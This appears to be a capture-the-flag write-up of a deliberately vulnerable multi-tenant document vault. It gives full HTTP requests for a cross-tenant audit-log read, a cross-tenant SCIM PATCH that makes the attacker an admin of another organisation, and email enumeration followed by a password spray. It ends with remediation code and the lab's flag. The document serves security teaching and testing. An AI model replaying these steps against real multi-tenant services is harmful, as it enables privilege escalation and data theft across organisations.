BugForge — 2026.11.01

Vaultly: Cross-Tenant Audit Log Read + SCIM Tenant Scope Drift

BugForge Multi-Tenant Authorization Drift (Audit Log + SCIM) medium

Executive Summary

Vaultly is a multi-tenant document vault built on server-rendered Next.js, with a SCIM 2.0 provisioning API, OAuth connected apps, personal API tokens, and per-organization audit logging. Organizations are isolated tenants identified by random 32-hex org ids. Testing confirmed two tenant isolation failures and one credentials finding:

ID Title Severity CVSS CWE Endpoint
F1 Cross-tenant audit log read via client-controlled orgId High 7.7 (S:C; each tenant is a separate security authority) CWE-639 GET /api/audit/events
F2 Cross-tenant SCIM resource access (listing scoped, resource-by-id not) Critical 9.6 CWE-639 GET/PATCH /scim/v2/Groups/{id}
F3 Seeded credentials and internal tenant id disclosure Medium 6.5 CWE-798 POST /api/auth/login

The flag-bearing chain ran through all three: seeded credentials gave an admin session in the demo tenant, an internal document in that tenant disclosed the operations tenant’s org id, the audit endpoint returned that tenant’s events including its Administrators SCIM group id, and a cross-tenant SCIM PATCH added our user to that group. After re-login we held the admin role in the privileged operations tenant and read its break-glass recovery key.


Objective

Retrieve the flag from the Vaultly lab (variant vaultly-014, rated medium). The lab hint pointed at the Directory Sync page: “Directory Sync only lists groups from your organisation. Does the audit log respect that same boundary, and what could another organisation’s events reveal?”


Scope / Initial Access

# Target Application
URL: https://lab-1793564655803-k24ghz.labs-app.bugforge.io/

# Auth details
Registration is open: POST /api/auth/register creates an account and a new
organization in one step. Sessions are a vaultly_session cookie (HttpOnly,
SameSite=Lax). SCIM endpoints accept Bearer provisioning tokens (scim_...).
Starting privilege: none (self-registered owner of our own organization).

Reconnaissance: Mapping the Tenant Surface

The application surface was mapped by walking every page and settings section as a self-registered owner, then probing each client-side fetch for parameters the server would honor. Observations that shaped the test plan:

  1. The app is server-rendered Next.js (buildId K_VMVSYDRMOysSKSGixq7) with plain HTML forms. Settings sections cover Members, SSO, Directory Sync (SCIM), Connected apps, and API tokens. The audit log page is the exception: it is client-rendered.
  2. The audit page’s client chunk fetches GET /api/audit/events?orgId=<orgId> with the org id passed in as a prop. The org id is therefore client-controlled input, which motivated the F1 test.
  3. Org ids are random 32-hex values, not derived from names or emails (hash candidates did not match). Our org (Recon Co) has id 2016cd52a8a91348791a6e14f2e90e59. Any other tenant’s id would have to be disclosed somewhere.
  4. Vault, folder, and file ids are global sequences across tenants: the first vault created in our org received id 9 while ids 1-8 already existed, and the same held for folders (first new: 14) and files (first new: 28). Seeded content therefore exists in other tenants, but cross-org reads of vaults, folders, and files return 404 or a root fallback, so those routes are scoped.
  5. POST /api/auth/register answers “An account with that email already exists.” for existing emails. That tell confirmed admin@, editor@, and [email protected] exist before any password was guessed.
  6. GET /scim/v2/Groups with our provisioning token returned only our org’s three groups (Administrators, Members, Viewers), so the SCIM listing is scoped. The ServiceProviderConfig advertises patch.supported=true, meaning group PATCH operations exist.

Application Architecture

Component Detail
Backend Server-rendered Next.js (buildId K_VMVSYDRMOysSKSGixq7), JSON APIs under /api, SCIM 2.0 server at /scim/v2
Frontend Server-rendered pages plus a few client components; the audit log page fetches its own data client-side
Auth vaultly_session cookie (HttpOnly, SameSite=Lax); SCIM bearer tokens (scim_...); personal API tokens (vat_...); OAuth2 connected apps (vc_/vs_ credentials)
Multi-tenancy Organizations with random 32-hex org ids; SCIM groups map to roles per org (Administrators to admin, Members to editor, Viewers to viewer)
Seeded tenants Acme Corp (demo tenant, 7 vaults) and Vaultly HQ (privileged operations tenant holding a break-glass recovery key)

API Surface

Endpoint Method Auth Notes
/api/auth/register, /api/auth/login, /api/auth/logout POST None Register names existing emails in the error text
/api/audit/events?orgId= GET Session orgId taken from the query string
/api/vaults, /api/folders, /api/files GET/POST Session vault_id/folder_id references are scoped to the session’s org
/api/files/{id}?download=1 GET Session Scoped; serves file content
/api/files/import POST Session Import from URL; host allowlist blocks loopback and private hosts
/api/scim/tokens POST Session Mints a provisioning token, returned in the Location header
/scim/v2/Users, /scim/v2/Groups GET Bearer token Listing scoped to the token’s org; filter parameter ignored
/scim/v2/Users/{id}, /scim/v2/Groups/{id} GET/PATCH Bearer token Resource-by-id routes; see F2
/api/hq/recovery GET Session HQ-only break-glass key

Known Users

Username Role Organization
[email protected] admin Acme Corp (seeded)
[email protected] editor Acme Corp (seeded)
[email protected] owner Acme Corp (seeded)
[email protected] admin Vaultly HQ (seeded)
[email protected] owner Recon Co (ours, self-registered)

Attack Chain Visualization

┌──────────────────────────┐     ┌───────────────────────────┐     ┌────────────────────────────┐
│ Seeded password          │     │ HQ org id disclosed in    │     │ Cross-tenant audit read:   │
│ [email protected]:vaultly  │ ──▶ │ Acme's internal doc       │ ──▶ │ HQ's events leak the       │
│ → Acme Corp admin        │     │ (vault 7, file 26)        │     │ Administrators SCIM id     │
└──────────────────────────┘     └───────────────────────────┘     └────────────────────────────┘
   product-name password            "keep it internal"               directory.group.synced detail

┌────────────────────────────┐     ┌────────────────────────────┐
│ SCIM PATCH op=add into     │ ──▶ │ GET /api/hq/recovery       │
│ HQ Administrators, using   │     │ returns the break-glass    │
│ our own org's token        │     │ recovery key               │
└────────────────────────────┘     └────────────────────────────┘
   role applies at next login        flag

Findings

F1: Cross-Tenant Audit Log Read via Client-Controlled orgId

Severity: High CVSS v3.1: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key) Endpoint: GET /api/audit/events?orgId=<32-hex> Authentication required: Yes (any authenticated user, including self-registered)

Description

The audit events endpoint takes the organization id from the query string and returns the events of whichever organization matches. Two defects compound:

  1. The org scope comes from client input rather than from the session. A request with another organization’s id returns that organization’s events.
  2. There is no deny branch. An unknown id returns {"orgId":"<input>","events":[]} with status 200 instead of 403 or 404, and a missing or non-string value falls back to the session’s own org.

Observed behavior, control-tested first between two organizations we owned (Probe Org’s session reading Recon Co’s five events) before touching any seeded tenant.

Impact

Any authenticated user can read the full activity history of any organization whose 32-hex org id they obtain: actor email addresses, actions, and detail strings. In this engagement that history supplied the SCIM group id used in F2.

Reproduction

Step 1: Baseline, our own org’s events

GET /api/audit/events?orgId=2016cd52a8a91348791a6e14f2e90e59 HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Cookie: vaultly_session=iMPvLfQt6TZv0MNr7e5k4bjeAUUtAoac
Accept: application/json

Response: 200 with Recon Co’s events and the orgId echoed. Baseline confirms the parameter drives the lookup.

Step 2: Cross-tenant read of Vaultly HQ

GET /api/audit/events?orgId=ace0be0414ca3b995de94ab3bb6a2b31 HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Cookie: vaultly_session=iMPvLfQt6TZv0MNr7e5k4bjeAUUtAoac
Accept: application/json
{"orgId":"ace0be0414ca3b995de94ab3bb6a2b31","events":[
  {"at":"2026-11-01T14:27:07.000Z","org":"Vaultly HQ","actor":"[email protected]","action":"auth.login","detail":"[email protected]"},
  {"at":"2025-07-20T20:27:07.000Z","org":"Vaultly HQ","actor":"[email protected]","action":"member.role_changed","detail":"[email protected] -> admin"},
  {"at":"2025-07-19T20:27:07.000Z","org":"Vaultly HQ","actor":"[email protected]","action":"directory.group.synced","detail":"Operators (role=editor)"},
  {"at":"2025-07-19T20:27:07.000Z","org":"Vaultly HQ","actor":"[email protected]","action":"directory.group.synced","detail":"Administrators (role=admin) · scim id 571a08b27b55e6cf3ddca70d6b5e5f36"},
  {"at":"2025-07-09T20:27:07.000Z","org":"Vaultly HQ","actor":"[email protected]","action":"directory.sync.enabled","detail":"Directory Sync (SCIM) enabled for vaultly.internal"},
  {"at":"2025-06-19T20:27:07.000Z","org":"Vaultly HQ","actor":"[email protected]","action":"org.created","detail":"Organization created"}]}

Response: 200 with Vaultly HQ’s full audit trail, requested from a session that has no membership in that org. The directory.group.synced detail string carries HQ’s Administrators SCIM group id.

Step 3: Unknown id behavior (no deny branch)

GET /api/audit/events?orgId=1 HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Cookie: vaultly_session=iMPvLfQt6TZv0MNr7e5k4bjeAUUtAoac
Accept: application/json

Response: {"orgId":"1","events":[]} with status 200. An org the session cannot access produces the same shape as a successful empty lookup, so the boundary failure is silent.

Remediation

Fix 1: Derive the org from the session, not the query string

// BEFORE (vulnerable)
const orgId = req.query.orgId || session.orgId;
const events = auditStore.byOrg(orgId);
res.json({ orgId, events });

// AFTER (secure)
const events = auditStore.byOrg(session.orgId);
res.json({ orgId: session.orgId, events });

Fix 2: Deny foreign orgs explicitly

// AFTER (secure, if a cross-org view must stay supported for admins)
const org = orgStore.find(req.query.orgId);
if (!org || !membershipStore.isMember(session.userId, org.id)) {
  return res.status(403).json({ error: "forbidden" });
}

Returning 403 for foreign orgs (instead of an empty 200) also removes the silent shape that hides the missing boundary.

Additional recommendations:

  • Keep resource ids (SCIM group ids, user ids) out of audit detail strings, or redact them for viewers outside the acting org.
  • Log and alert on audit queries where the requested orgId differs from the session’s org.

F2: Cross-Tenant SCIM Resource Access (Listing Scoped, Resource-by-Id Not)

Severity: Critical CVSS v3.1: 9.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N) CWE: CWE-639 (Authorization Bypass Through User-Controlled Key), CWE-285 (Improper Authorization) Endpoint: GET/PATCH /scim/v2/Groups/{id} (same shape observed on /scim/v2/Users/{id}) Authentication required: Yes (any organization’s SCIM provisioning token)

Description

The SCIM collection endpoints filter by the token’s organization: GET /scim/v2/Groups with our token returned only our org’s three groups. Direct resource access by id does not apply that filter. Two defects compound:

  1. GET /scim/v2/Groups/{id} with our own org’s token returned Vaultly HQ’s Administrators group, including its member list.
  2. An RFC 7644 PATCH on that same group with op=add added our user to it. Group membership maps to role (Administrators to admin), and the new membership applied at the next login.

The result is cross-tenant privilege escalation: the write path that grants org admin roles resolves group ids globally, while the collection listing is scoped to the token’s org.

Impact

An attacker holding any org’s provisioning token can grant themselves the admin role in any other org whose SCIM group id they learn, and can read that org’s group rosters. In this engagement the role granted access to HQ’s Operations vault.

Reproduction

Step 1: Mint a provisioning token in our own org and read our SCIM user id

POST /api/scim/tokens HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Cookie: vaultly_session=iMPvLfQt6TZv0MNr7e5k4bjeAUUtAoac
Content-Type: application/x-www-form-urlencoded

_action=create&name=recon-token

Response: 303 with Location: /settings/directory?token=scim_uoD4zL-FSvwYsIPc-_eiJlNk6R02PPkt.

GET /scim/v2/Users HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Authorization: Bearer scim_uoD4zL-FSvwYsIPc-_eiJlNk6R02PPkt

Response: 200, one resource, our SCIM user id 1038aeec70a6680af59631904d782c2f.

Step 2: Cross-tenant read of HQ’s Administrators group

GET /scim/v2/Groups/571a08b27b55e6cf3ddca70d6b5e5f36 HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Authorization: Bearer scim_uoD4zL-FSvwYsIPc-_eiJlNk6R02PPkt
{"schemas":["urn:ietf:params:scim:schemas:core:2.0:Group"],
 "id":"571a08b27b55e6cf3ddca70d6b5e5f36",
 "displayName":"Administrators",
 "members":[{"value":"e73d35629c17888c0133d4abc7514a63","display":"[email protected]"}]}

Response: 200. The group belongs to Vaultly HQ; the token belongs to Recon Co. The listing endpoint would never have returned this group to us.

Step 3: Cross-tenant write, add ourselves to the group

PATCH /scim/v2/Groups/571a08b27b55e6cf3ddca70d6b5e5f36 HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Authorization: Bearer scim_uoD4zL-FSvwYsIPc-_eiJlNk6R02PPkt
Content-Type: application/scim+json

{"schemas":["urn:ietf:params:scim:api:messages:2.0:PatchOp"],
 "Operations":[{"op":"add","path":"members",
   "value":[{"value":"1038aeec70a6680af59631904d782c2f","display":"[email protected]"}]}]}

Response: 200 with the updated group; the member list now includes [email protected] alongside [email protected]. Vaultly HQ’s own audit log recorded scim.group.patched for the change.

Step 4: Role applies at next login

POST /api/auth/login HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

email=recon%40recon.test&password=Passw0rd123&next=%2Fdashboard

Response: 303 with a fresh session. The organization switcher on the next page load lists both Recon Co and Vaultly HQ, and GET /vaults/8 (HQ’s Operations vault) returns 200. The control holds: the same request from the Acme admin session, a different org, returned 404.

Remediation

Fix 1: Apply the tenant check on resource routes, not just collections

// BEFORE (vulnerable)
app.patch("/scim/v2/Groups/:id", requireScimToken, async (req, res) => {
  const group = await groups.byId(req.params.id);   // resolves across all orgs
  await applyPatch(group, req.body.Operations);
  res.json(group);
});

// AFTER (secure)
app.patch("/scim/v2/Groups/:id", requireScimToken, async (req, res) => {
  const group = await groups.byId(req.params.id);
  if (!group || group.orgId !== req.scimToken.orgId) {
    return res.status(404).json(scimError("notFound"));
  }
  await applyPatch(group, req.body.Operations);
  res.json(group);
});

Fix 2: Alert on attempted cross-org membership changes

// AFTER (secure, Fix 1's guard extended to log the rejected attempt)
if (!group || group.orgId !== req.scimToken.orgId) {
  securityLog.warn("scim cross-org group write blocked", {
    tokenOrg: req.scimToken.orgId, groupOrg: group && group.orgId, groupId: req.params.id,
  });
  return res.status(404).json(scimError("notFound"));
}

Additional recommendations:

  • Scope SCIM error responses to 404 for foreign resources so ids cannot be confirmed by response differences.
  • Alert on any SCIM PATCH that adds a member whose user resource belongs to a different org than the group.

F3: Seeded Credentials and Internal Tenant Id Disclosure

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N) CWE: CWE-798 (Use of Hard-coded Credentials), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: POST /api/auth/login, GET /api/files/26?download=1 Authentication required: No for the credential half; an Acme session for the document

Description

Two defects compound into the entry point of the chain:

  1. The seeded accounts share the product-name password: [email protected], [email protected], and [email protected] all authenticate with vaultly. The register endpoint’s error text (“An account with that email already exists.”) identified the accounts first; a ten-password spray against those three then hit on all of them. A wrong-password control was rejected.
  2. Acme’s internal document directory-sync-administration.md (vault 7 “IT & Security”, folder “Directory Sync”, file 26) pastes Vaultly HQ’s tenant org id into content readable by the whole Acme admin team, while the document itself instructs the reader to keep the id internal.

Impact

An attacker with no account gains admin access to the seeded demo tenant, and the org id needed to aim F1 at the operations tenant is disclosed in tenant-readable content.

Reproduction

Step 1: Enumerate seeded accounts via the register endpoint

POST /api/auth/register HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

orgName=Probe&name=Probe&email=admin%40acme.test&password=Passw0rd123

Response: redirect to /register?error=An account with that email already exists. The same probe against an unused address proceeds to account creation, so the error distinguishes existing emails.

Step 2: Authenticate with the product-name password

POST /api/auth/login HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Content-Type: application/x-www-form-urlencoded

email=admin%40acme.test&password=vaultly&next=%2Fdashboard

Response: 303 with a session cookie. The dashboard shows Acme Corp with the admin role and 7 vaults.

Step 3: Read the internal document

GET /api/files/26?download=1 HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Cookie: vaultly_session=<acme admin session>
# Directory Sync — Administration (Internal · IT & Security)

Acme's SCIM / Directory Sync is administered centrally through Vaultly's
managed operations tenant. When configuring the upstream IdP connector or
filing a provisioning escalation, reference the managing tenant:

    Managing tenant : Vaultly HQ
    Tenant org id   : ace0be0414ca3b995de94ab3bb6a2b31
    Ops contact     : [email protected]

The tenant org id is the identifier Vaultly support and the admin console use
to address a tenant. Keep it internal to IT & Security — do not paste it into
customer-facing tickets.

Response: 200 with the document, reproduced verbatim including the original punctuation. The managing tenant’s org id is disclosed exactly where F1 needs it.

Remediation

Fix 1: Generate and rotate seeded credentials

# BEFORE (vulnerable)
seed_users = [
    ("[email protected]", "vaultly", "admin"),
    ("[email protected]", "vaultly", "editor"),
    ("[email protected]", "vaultly", "owner"),
]

# AFTER (secure)
import secrets
seed_users = [
    (email, secrets.token_urlsafe(24), role)   # delivered out of band, forced rotation on first login
    for email, role in [("[email protected]", "admin"), ("[email protected]", "editor"), ("[email protected]", "owner")]
]

Fix 2: Keep internal tenant identifiers out of tenant-readable content

<!-- BEFORE (vulnerable, in directory-sync-administration.md) -->
    Tenant org id   : ace0be0414ca3b995de94ab3bb6a2b31

<!-- AFTER (secure) -->
    Tenant org id   : see the support console (support staff only)

Additional recommendations:

  • Add the product name and obvious theme words to the credential-spray list used in pre-release checks for seeded demo data.
  • Rate-limit login attempts per account; the ten-password spray ran without throttling.

Flag / Objective Achieved

With the admin role in Vaultly HQ applied at re-login, the Operations vault (vault 8) and its Break-Glass folder (folder 13) became visible. recovery-procedure.md (file 25) documents the retrieval path, and the endpoint answers:

GET /api/hq/recovery HTTP/1.1
Host: lab-1793564655803-k24ghz.labs-app.bugforge.io
Cookie: vaultly_session=iMWbo-EgLtN_CQUmqefcLcZ_VlMOi4Bw
Accept: application/json
{"org":"Vaultly HQ","record":"break-glass","recovery_key":"bug{VnYebS8xZ8nOyRrv8C0hXMADTMkWcS55}","note":"Emergency access key. Rotate after use."}

Flag: bug{VnYebS8xZ8nOyRrv8C0hXMADTMkWcS55}


OWASP Top 10 Coverage

  • A01:2021 Broken Access Control: F1 and F2 are direct tenant boundary failures, one on a read path (audit events) and one on a write path (SCIM group membership). Both accept a cross-tenant identifier from the request and act on it.
  • A07:2021 Identification and Authentication Failures: F3 is a shared, guessable seeded password across three accounts, recoverable through a small spray once the register endpoint confirms the accounts exist.

Tools Used

Tool Purpose
curl Scripted requests through the intercepting proxy
Caido Interception, replay, and request history during testing

References


Failed Approaches

Approach Result Why It Failed
orgId derivation (md5/sha1/sha256 of org names, emails, timestamps) No matches Org ids are random values, not derived from observable data
orgId object/operator injection ([$ne], [$regex], []) Falls back to session org Non-string values never reach the lookup; only non-empty strings are used as ids
orgId SQLi strings Empty result set The lookup matches ids exactly, with no error-based behavior
Audit parameter-name fuzz (org, slug, tenant, …) Ignored Only orgId reaches the lookup
SCIM filter injection (6 variants) Parameter silently ignored The filter parameter is unimplemented; every request returns the full scoped list
SCIM orgId override attempt Ignored The token’s org is fixed at the collection layer
SSO email-domain uniqueness probes Domains not unique-validated No response difference to key off
Cross-org reads on vault/folder/file/share routes 404 or root fallback These routes are scoped to the session’s org
Import-from-URL SSRF to loopback/metadata “Host not allowed” The host allowlist blocks loopback and private addresses
Dormant-account claim via register “An account with that email already exists.” No pending-claim branch this rotation
Unauthenticated audit access 401 A valid session is required

Tags: #vaultly #bugforge #idor #scim #multi-tenant #audit-log #privilege-escalation Document Version: 1.0 Last Updated: 2026-11-01

#idor #scim #multi-tenant #privilege-escalation #bugforge